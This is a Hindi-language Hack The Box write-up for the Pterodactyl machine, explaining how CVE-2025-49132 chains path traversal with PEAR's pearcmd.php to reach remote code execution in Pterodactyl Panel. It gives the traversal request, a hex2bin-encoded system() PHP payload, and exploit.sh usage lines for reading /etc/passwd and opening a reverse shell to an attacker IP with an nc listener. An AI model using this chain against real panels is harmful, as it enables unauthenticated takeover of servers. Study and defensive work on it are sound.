CVE-2025-49132 - Pterodactyl Panel RCE शोषण

HTB सीज़न 10 - Pterodactyl मशीन लेखन

अवलोकन

लक्ष्य: Pterodactyl HTB मशीन (मध्यम कठिनाई)
CVE: CVE-2025-49132
गंभीरता: गंभीर (CVSS 9.8)
हमले का प्रकार: अप्रमाणित दूरस्थ कोड निष्पादन
प्रभावित: Pterodactyl Panel < v1.11.11

यह शोषण श्रृंखला संयोजित करती है:

1. पथ ट्रैवर्सल स्थानीय अनुवाद प्रणाली में
2. PEAR कमांड इंजेक्शन pearcmd.php के माध्यम से
3. PHP कोड निष्पादन फ़ाइल लिखने और शामिल करने के माध्यम से

बग

Pterodactyl Panel का /locales/locale.json एंडपॉइंट locale पैरामीटर के माध्यम से पथ ट्रैवर्सल की अनुमति देता है:

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd

इसे PEAR के pearcmd.php के साथ जोड़ा जा सकता है:

1. /tmp में मनमानी PHP फ़ाइलें लिखें
2. उन्हें दूसरे अनुरोध के माध्यम से निष्पादित करें

यह कैसे काम करता है

PEAR (PHP एक्सटेंशन और एप्लिकेशन रिपॉजिटरी) में एक CLI उपकरण (pearcmd.php) है जो:

• URL पैरामीटर के माध्यम से कमांड स्वीकार करता है (केवल CLI के लिए अभिप्रेत)
• एक config-create कमांड है जो फ़ाइलें लिखता है
• जब वेब के माध्यम से कॉल किया जाता है तो कोई प्रमाणीकरण नहीं होता

शोषण श्रृंखला:

पथ ट्रैवर्सल → pearcmd.php लोड करें → config-create के माध्यम से PHP इंजेक्ट करें → दुर्भावनापूर्ण PHP निष्पादित करें

hex2bin() ट्रिक

कमांड को hex2bin() का उपयोग करके हेक्स-एन्कोड किया जाता है ताकि बाइपास किया जा सके:

• URL एन्कोडिंग समस्याएं
• विशेष वर्ण फ़िल्टर
• Nginx/PHP पार्सिंग समस्याएं

उदाहरण:

Command: whoami
Hex:     77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>

दूरस्थ कोड निष्पादन

विधि: प्रदान की गई exploit.sh का उपयोग करके

chmod +x exploit.sh

# Get user flag
./exploit.sh flag

# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"

# Reverse shell
nc -lvnp 4444  # On attacker machine
./exploit.sh shell 10.10.14.21 4444

संदर्भ

CVE और शोषण

• NVD - CVE-2025-49132
• OpenCVE - CVE-2025-49132

तकनीकी संसाधन

• Pterodactyl Panel दस्तावेज़
• PEAR दस्तावेज़ीकरण
• OWASP पथ ट्रैवर्सल